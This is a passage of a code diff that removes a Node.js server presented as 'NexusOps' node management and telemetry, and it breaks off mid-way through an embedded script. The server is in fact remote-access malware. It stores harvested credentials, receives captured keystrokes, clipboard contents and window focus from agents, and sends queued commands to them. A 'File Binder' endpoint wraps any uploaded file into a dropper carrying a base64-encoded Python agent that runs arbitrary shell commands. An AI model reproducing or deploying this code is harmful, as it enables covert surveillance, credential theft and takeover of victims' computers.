JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); - nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); - commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); - masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); - inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); - harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); - } catch(e) { /* first run */ } -} -loadData(); - -// Auto-save every 30 seconds -setInterval(saveData, 30000); - -setInterval(() => { - const now = Date.now(); - let changed = false; - nodes.forEach((node, id) => { - if (node.status === 'online' && now - node.lastHeartbeat > 20000) { - node.status = 'offline'; - changed = true; - } - }); - if (changed) { - broadcastState(); - } -}, 5000); - -let _lastSaveTime = 0; -function broadcastState() { - const now = Date.now(); - if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } - const payload = JSON.stringify({ - type: 'NODES_UPDATE', - serverIp: SERVER_IP, - port: PORT, - publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - nodes: Array.from(nodes.values()), - commandHistory: commandHistory.slice(-50), - masterSystemLogs: masterSystemLogs.slice(-100), - inputData: inputDataStore.slice(-200) - }); - - wss.clients.forEach(client => { - if (client.readyState === WebSocket.OPEN) { - client.send(payload); - } - }); -} - -wss.on('connection', (ws, req) => { - // Auth check on WS upgrade - if (AUTH_TOKEN) { - const url = new URL(req.url, 'http://localhost'); - if (url.searchParams.get('token') !== AUTH_TOKEN) { - ws.close(4401, 'unauthorized'); - return; - } - } - ws.isAlive = true; - ws.on('pong', () => { ws.isAlive = true; }); - ws.send(JSON.stringify({ - type: 'NODES_UPDATE', - serverIp: SERVER_IP, - port: PORT, - publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - nodes: Array.from(nodes.values()), - commandHistory: commandHistory.slice(-50), - masterSystemLogs: masterSystemLogs.slice(-100), - inputData: inputDataStore.slice(-200) - })); -}); - -// WS heartbeat: ping every 25s, drop dead clients -setInterval(() => { - wss.clients.forEach(ws => { - if (ws.isAlive === false) return ws.terminate(); - ws.isAlive = false; - try { ws.ping(); } catch(e) {} - }); -}, 25000); - -// REST API Endpoints - -app.get('/api/status', (req, res) => { - res.json({ - serverIp: SERVER_IP, - port: PORT, - serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - totalNodes: nodes.size, - onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length - }); -}); - -app.get('/api/nodes', (req, res) => { - res.json(Array.from(nodes.values())); -}); - -app.get('/api/logs', (req, res) => { - res.json(masterSystemLogs.slice(-100)); -}); - -// CSV Telemetry Export Endpoint -app.get('/api/export/csv', (req, res) => { - let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; - nodes.forEach(node => { - const tagsStr = (node.tags || []).join(';'); - csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; - }); - res.setHeader('Content-Type', 'text/csv'); - res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); - res.send(csv); -}); - -// Agent System Log Streaming Endpoint -app.post('/api/agent/logs', (req, res) => { - const { nodeId, hostname, logs } = req.body; - if (Array.isArray(logs)) { - logs.forEach(logLine => { - masterSystemLogs.push({ - id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, - nodeId, - hostname: hostname || 'Unknown', - timestamp: Date.now(), - entry: logLine - }); - }); - if (masterSystemLogs.length > 200) { - masterSystemLogs.splice(0, masterSystemLogs.length - 200); - } - broadcastState(); - } - res.json({ success: true }); -}); - -// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus -app.post('/api/agent/input-capture', (req, res) => { - const { nodeId, hostname, events } = req.body; - if (!nodeId || !Array.isArray(events)) { - return res.status(400).json({ error: 'nodeId and events[] required' }); - } - - events.forEach(ev => { - inputDataStore.push({ - id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, - nodeId, - hostname: hostname || 'Unknown', - timestamp: ev.timestamp || Date.now(), - eventType: ev.eventType || 'unknown', - data: ev.data || {}, - windowTitle: ev.windowTitle || '', - processName: ev.processName || '' - }); - }); - - if (inputDataStore.length > MAX_INPUT_STORE) { - inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); - } - - if (events.length > 0) { - broadcastState(); - } - - res.json({ success: true, stored: events.length }); -}); - -// Retrieve input capture data -app.get('/api/inputs', (req, res) => { - const { nodeId, eventType, limit } = req.query; - let filtered = inputDataStore; - - if (nodeId) { - filtered = filtered.filter(e => e.nodeId === nodeId); - } - if (eventType) { - filtered = filtered.filter(e => e.eventType === eventType); - } - - const max = parseInt(limit) || 200; - res.json(filtered.slice(-max)); -}); - -// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── -// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ── -const AGENT_B64 = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKTmV4dXNPcHMgQ3Jvc3MtUGxhdGZvcm0gTm9kZSBNYW5hZ2VtZW50ICYgVGVsZW1ldHJ5IEFnZW50ClVzZXMgU3RhbmRhcmQgUHl0aG9uIDMgTGlicmFyaWVzIChObyBleHRlcm5hbCBkZXBlbmRlbmNpZXMgcmVxdWlyZWQpCiIiIgoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHRpbWUKaW1wb3J0IGpzb24KaW1wb3J0IHNvY2tldAppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IGFyZ3BhcnNlCgpsYXN0X2xvZ19jaGVja190aW1lID0gMApoZWFydGJlYXRfaW50ZXJ2YWwgPSA1ICAjIER5bmFtaWMgaGVhcnRiZWF0IHJhdGUgaW4gc2Vjb25kcwpub2RlX3RhZ3MgPSBbIkRlZmF1bHQiXQpxdWlldF9tb2RlID0gRmFsc2UgICMgU3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIHdoZW4gVHJ1ZQoKZGVmIGdldF9wcm9jZXNzX2NvdW50KCk6CiAgICAiIiJHZXQgcmVhbCBwcm9jZXNzIGNvdW50IGNyb3NzLXBsYXRmb3JtLiIiIgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiIG9yIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJwcyIsICJhdXgiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIHJldHVybiBsZW4ob3V0LnNwbGl0bGluZXMoKSkgLSAxICAjIG1pbnVzIGhlYWRlcgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ0YXNrbGlzdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmV0dXJuIGxlbihvdXQuc3BsaXRsaW5lcygpKSAtIDEKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMAoKZGVmIGdldF9pcF9hZGRyZXNzKCk6CiAgICAiIiJHZXQgcHJpbWFyeSBJUCwgcHJlZmVycmluZyBwaHlzaWNhbCBFdGhlcm5ldCBvdmVyIFZQTi90dW5uZWwgaW50ZXJmYWNlcy4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgbWFjT1M6IHVzZSBpZmNvbmZpZyB0byBmaW5kIGVuMCBJUCAocGh5c2ljYWwgRXRoZXJuZXQvV2lGaSkKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpZmNvbmZpZyIsICJlbjAiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICBpZiAnaW5ldCAnIGluIGxpbmUgYW5kICcxMjcuMC4wLjEnIG5vdCBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIHBhcnRzID0gbGluZS5zdHJpcCgpLnNwbGl0KCkKICAgICAgICAgICAgICAgICAgICBmb3IgaSwgcCBpbiBlbnVtZXJhdGUocGFydHMpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBwID09ICdpbmV0JyBhbmQgaSsxIDwgbGVuKHBhcnRzKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBwYXJ0c1tpKzFdCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgIyBMaW51eDogdHJ5IGlwIHJvdXRlIHRvIGZpbmQgcHJpbWFyeSBpbnRlcmZhY2UKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpcCIsICItNCIsICJyb3V0ZSIsICJnZXQiLCAiOC44LjguOCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgZm9yIHBhcnQgaW4gb3V0LnNwbGl0KCk6CiAgICAgICAgICAgICAgICBpZiBwYXJ0LnN0YXJ0c3dpdGgoJ3NyYyAnKToKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFydC5zcGxpdCgpWzFdIGlmICcgJyBpbiBwYXJ0IGVsc2Ugb3V0LnNwbGl0KCdzcmMgJylbMV0uc3BsaXQoKVswXQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgICMgRmFsbGJhY2s6IGNvbm5lY3QgdG8gOC44LjguOAogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSkKICAgICAgICBzLmNvbm5lY3QoKCI4LjguOC44IiwgODApKQogICAgICAgIGlwID0gcy5nZXRzb2NrbmFtZSgpWzBdCiAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgcmV0dXJuIGlwCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiAiMTI3LjAuMC4xIgoKZGVmIGdldF9jcHVfdXNhZ2UoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9zdGF0JywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmllbGRzID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZSwgdG90YWwgPSBmaWVsZHNbM10sIHN1bShmaWVsZHMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICB3aXRoIG9wZW4oJy9wcm9jL3N0YXQnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICBmaWVsZHMyID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZTIsIHRvdGFsMiA9IGZpZWxkczJbM10sIHN1bShmaWVsZHMyKQogICAgICAgICAgICBpZGxlX2RlbHRhID0gaWRsZTIgLSBpZGxlCiAgICAgICAgICAgIHRvdGFsX2RlbHRhID0gdG90YWwyIC0gdG90YWwKICAgICAgICAgICAgaWYgdG90YWxfZGVsdGEgPiAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKDEwMC4wICogKDEuMCAtIGlkbGVfZGVsdGEgLyB0b3RhbF9kZWx0YSksIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidG9wIiwgIi1sIiwgIjEiLCAiLW4iLCAiMCJdKS5kZWNvZGUoKQogICAgICAgICAgICBmb3IgbGluZSBpbiBvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgaWYgIkNQVSB1c2FnZSIgaW4gbGluZToKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoKQogICAgICAgICAgICAgICAgICAgIHVzZXIgPSBmbG9hdChwYXJ0c1syXS5yZXBsYWNlKCclJywgJycpKQogICAgICAgICAgICAgICAgICAgIHN5c19jID0gZmxvYXQocGFydHNbNF0ucmVwbGFjZSgnJScsICcnKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm91bmQodXNlciArIHN5c19jLCAxKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ3bWljIiwgImNwdSIsICJnZXQiLCAibG9hZHBlcmNlbnRhZ2UiXSkuZGVjb2RlKCkKICAgICAgICAgICAgbGluZXMgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCkgaWYgbGluZS5zdHJpcCgpLmlzZGlnaXQoKV0KICAgICAgICAgICAgaWYgbGluZXM6CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXQobGluZXNbMF0pCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiAxNS4wCgpkZWYgZ2V0X21lbW9yeV91c2FnZSgpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICBtZW1pbmZvID0ge30KICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9tZW1pbmZvJywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gZjoKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoJzonKQogICAgICAgICAgICAgICAgICAgIGlmIGxlbihwYXJ0cykgPT0gMjoKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0gcGFydHNbMF0uc3RyaXAoKQogICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSBpbnQocGFydHNbMV0uc3BsaXQoKVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgbWVtaW5mb1trZXldID0gdmFsCiAgICAgICAgICAgIHRvdGFsID0gbWVtaW5mby5nZXQoJ01lbVRvdGFsJywgMSkKICAgICAgICAgICAgZnJlZSA9IG1lbWluZm8uZ2V0KCdNZW1BdmFpbGFibGUnLCBtZW1pbmZvLmdldCgnTWVtRnJlZScsIDApKQogICAgICAgICAgICByZXR1cm4gcm91bmQoKCh0b3RhbCAtIGZyZWUpIC8gdG90YWwpICogMTAwLjAsIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgVXNlIHZtX3N0YXQgZm9yIHJlYWwgbWVtb3J5IHVzYWdlIG9uIG1hY09TCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidm1fc3RhdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHBhZ2VzID0ge30KICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgJzonIGluIGxpbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc6JywgMSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFnZXNbay5zdHJpcCgpXSA9IGludCh2LnN0cmlwKCkucnN0cmlwKCcuJykpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFnZV9zaXplID0gMTYzODQgICMgRGVmYXVsdCBtYWNPUyBwYWdlIHNpemUKICAgICAgICAgICAgICAgIGZyZWUgPSBwYWdlcy5nZXQoJ1BhZ2VzIGZyZWUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgaW5hY3RpdmUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgc3BlY3VsYXRpdmUnLCAwKQogICAgICAgICAgICAgICAgdXNlZCA9IHBhZ2VzLmdldCgnUGFnZXMgYWN0aXZlJywgMCkgKyBwYWdlcy5nZXQoJ1BhZ2VzIHdpcmVkIGRvd24nLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgb2NjdXBpZWQgYnkgY29tcHJlc3NvcicsIDApCiAgICAgICAgICAgICAgICB0b3RhbF9wYWdlcyA9IGZyZWUgKyB1c2VkICsgcGFnZXMuZ2V0KCdQYWdlcyBwdXJnZWFibGUnLCAwKQogICAgICAgICAgICAgICAgaWYgdG90YWxfcGFnZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZCAvIHRvdGFsX3BhZ2VzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICMgRmFsbGJhY2s6IHVzZSBzeXNjdGwgZm9yIGhhcmR3YXJlIGluZm8KICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJzeXNjdGwiLCAiLW4iLCAiaHcubWVtc2l6ZSJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHRvdGFsX2J5dGVzID0gaW50KG91dC5zdHJpcCgpKQogICAgICAgICAgICAgICAgIyBVc2Ugdm1fc3RhdCBwYWdlcyAqIHBhZ2Vfc2l6ZSBmb3IgdXNlZCBlc3RpbWF0ZQogICAgICAgICAgICAgICAgdm0gPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInZtX3N0YXQiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgICAgIGFjdGl2ZSA9IGludChyZS5zZWFyY2gocidQYWdlcyBhY3RpdmU6XHMrKFxkKyknLCB2bSkuZ3JvdXAoMSkpCiAgICAgICAgICAgICAgICB3aXJlZCA9IGludChyZS5zZWFyY2gocidQYWdlcyB3aXJlZCBkb3duOlxzKyhcZCspJywgdm0pLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgdXNlZF9ieXRlcyA9IChhY3RpdmUgKyB3aXJlZCkgKiAxNjM4NAogICAgICAgICAgICAgICAgaWYgdG90YWxfYnl0ZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZF9ieXRlcyAvIHRvdGFsX2J5dGVzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHJldHVybiA0NS4wCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbIndtaWMiLCAib3MiLCAiZ2V0IiwgIkZyZWVQaHlzaWNhbE1lbW9yeSxUb3RhbFZpc2libGVNZW1vcnlTaXplIiwgIi9WYWx1ZSJdKS5kZWNvZGUoKQogICAgICAgICAgICBkID0ge30KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgIGlmICc9JyBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc9JywgMSkKICAgICAgICAgICAgICAgICAgICBkW2suc3RyaXAoKV0gPSBmbG9hdCh2LnN0cmlwKCkpCiAgICAgICAgICAgIGlmICdUb3RhbFZpc2libGVNZW1vcnlTaXplJyBpbiBkIGFuZCAnRnJlZVBoeXNpY2FsTWVtb3J5JyBpbiBkOgogICAgICAgICAgICAgICAgdG90YWwgPSBkWydUb3RhbFZpc2libGVNZW1vcnlTaXplJ10KICAgICAgICAgICAgICAgIGZyZWUgPSBkWydGcmVlUGh5c2ljYWxNZW1vcnknXQogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCgodG90YWwgLSBmcmVlKSAvIHRvdGFsKSAqIDEwMC4wLCAxKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMzUuMAoKZGVmIGdldF9kaXNrX3VzYWdlKCk6CiAgICB0cnk6CiAgICAgICAgaWYgaGFzYXR0cihvcywgJ3N0YXR2ZnMnKToKICAgICAgICAgICAgc3QgPSBvcy5zdGF0dmZzKCcvJykKICAgICAgICAgICAgdG90YWwgPSBzdC5mX2Jsb2NrcyAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGZyZWUgPSBzdC5mX2JhdmFpbCAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGlmIHRvdGFsID4gMDoKICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgoKHRvdGFsIC0gZnJlZSkgLyB0b3RhbCkgKiAxMDAuMCwgMSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDQwLjAKCmRlZiBnZXRfdXB0aW1lX3NlY29uZHMoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy91cHRpbWUnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICByZXR1cm4gaW50KGZsb2F0KGYucmVhZGxpbmUoKS5zcGxpdCgpWzBdKSkKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgIyBtYWNPUzogdXNlIHN5c2N0bCB0byBnZXQgYm9vdCB0aW1lLCBjb21wdXRlIHVwdGltZQogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInN5c2N0bCIsICItbiIsICJrZXJuLmJvb3R0aW1lIl0sIHRleHQ9VHJ1ZSwgdGltZW91dD01KQogICAgICAgICAgICAjIEZvcm1hdDogeyBzZWMgPSAxMjM0NTY3ODkwLCB1c2VjID0gMCB9IFRodSBKYW4gIDEgMDA6MDA6MDAgMTk3MAogICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJ3NlY1xzKj1ccyooXGQrKScsIG91dCkKICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgIGJvb3RfdGltZSA9IGludChtLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgcmV0dXJuIGludCh0aW1lLnRpbWUoKSAtIGJvb3RfdGltZSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDM2MDAKCmRlZiBjb2xsZWN0X3JlY2VudF9zeXN0ZW1fbG9ncygpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgbG9nX2VudHJpZXMgPSBbXQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigiam91cm5hbGN0bCAtbiA1IC0tbm8tcGFnZXIgLW8gc2hvcnQtaXNvIiwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGlmIHJlcy5yZXR1cm5jb2RlID09IDAgYW5kIHJlcy5zdGRvdXQ6CiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiByZXMuc3Rkb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgICAgICBpZiBsaW5lLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19lbnRyaWVzLmFwcGVuZChsaW5lLnN0cmlwKCkpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigicG93ZXJzaGVsbCBHZXQtRXZlbnRMb2cgLUxvZ05hbWUgU3lzdGVtIC1OZXdlc3QgMyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE1lc3NhZ2UiLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMCBhbmQgcmVzLnN0ZG91dDoKICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIHJlcy5zdGRvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGxpbmUuc3RyaXAoKToKICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2VudHJpZXMuYXBwZW5kKGxpbmUuc3RyaXAoKSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIGxvZ19lbnRyaWVzCgpkZWYgaHR0cF9wb3N0KHVybCwgZGF0YV9kaWN0KToKICAgIGpzb25fYnl0ZXMgPSBqc29uLmR1bXBzKGRhdGFfZGljdCkuZW5jb2RlKCd1dGYtOCcpCiAgICByZXEgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgIHVybCwKICAgICAgICBkYXRhPWpzb25fYnl0ZXMsCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ05leHVzT3BzLUFnZW50LzEuMCcKICAgICAgICB9CiAgICApCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD01KSBhcyByZXNwb25zZToKICAgICAgICAgICAgcmVzX3RleHQgPSByZXNwb25zZS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICAgICAgICAgIHJldHVybiBqc29uLmxvYWRzKHJlc190ZXh0KQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGYnWyFdIEhUVFAgUE9TVCBmYWlsZWQgKHt1cmx9KToge2V9JywgZmx1c2g9VHJ1ZSkKICAgICAgICByZXR1cm4gTm9uZQoKZGVmIGV4ZWN1dGVfc3RydWN0dXJlZF9hY3Rpb24oYWN0aW9uX3R5cGUsIHBheWxvYWQpOgogICAgZ2xvYmFsIGhlYXJ0YmVhdF9pbnRlcnZhbCwgbm9kZV90YWdzCiAgICBzeXN0ZW0gPSBwbGF0Zm9ybS5zeXN0ZW0oKS5sb3dlcigpCiAgICAKICAgIGlmIGFjdGlvbl90eXBlID09ICJyYXdfY29tbWFuZCI6CiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChwYXlsb2FkLmdldCgiY29tbWFuZCIsICIiKSkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJtYW5hZ2Vfc2VydmljZSI6CiAgICAgICAgc2VydmljZSA9IHBheWxvYWQuZ2V0KCJzZXJ2aWNlIikKICAgICAgICBhY3Rpb24gPSBwYXlsb2FkLmdldCgiYWN0aW9uIikKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gZiJzeXN0ZW1jdGwge2FjdGlvbn0ge3NlcnZpY2V9IgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgY21kID0gZiJwb3dlcnNoZWxsIHthY3Rpb259LVNlcnZpY2UgLU5hbWUge3NlcnZpY2V9IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNtZCA9IGYibGF1bmNoY3RsIHthY3Rpb259IHtzZXJ2aWNlfSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJsaXN0X3Byb2Nlc3NlcyI6CiAgICAgICAgaWYgc3l